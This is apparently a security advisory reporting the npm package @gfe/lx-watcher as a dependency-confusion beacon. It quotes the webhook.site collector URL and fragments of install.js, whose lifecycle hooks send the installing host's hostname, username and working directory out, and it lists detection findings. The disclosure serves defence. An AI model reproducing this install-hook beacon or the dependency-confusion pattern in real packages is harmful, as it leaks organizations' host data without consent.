GCVE-110-OSM-2026-10865

All three npm lifecycle hooks (preinstall, install, postinstall) invoke install.js, which POSTs the installer's hostname, OS username, current working directory, timestamp, and hook name to a hardcoded webhook.site collector at https://webhook.site/df384ffa-1094-4bbf-a202-e8b345b3ed18/gfe. The exfiltration fires automatically on `npm install` with no caller consent and no configuration. The package's `main` is a no-op `createWatcher` stub, so a build that resolves this scoped name silently succeeds while host identifiers are leaked. The scoped `@gfe/*` name combined with the no-op stub and the install-time beacon is the canonical dependency-confusion shape: any organization whose private `@gfe/lx-watcher` resolves against the public registry leaks host, username, and install-path metadata to the author-controlled collector. ENTRY install.js (install-hook: node install.js preinstall) - Install Hook Executes Local JS File in package.json - Postinstall Script in package.json EXFIL - OAST/Interactsh Exfiltration in install.js: "webhook.site" - System Information Exfiltration in install.js: "JSON.stringify({ pkg: "@gfe/lx-watcher@1.5.4", hook, host: hostname(), user: (us..." - HTTP Data Exfiltration in install.js: "process.cwd(), ts: new Date().toISOString(), }); try { const req = http.request" - Network Request in install.js: "http.request(" ADDITIONAL FINDINGS - Platform Detection with Data Collection in install.js: "JSON.stringify({ pkg: "@gfe/lx-watcher@1.5.4", hook, host: hos" - Brand New Package - Very New NPM Publisher Account - Rapid Version Publishing PAYLOAD FILES install.js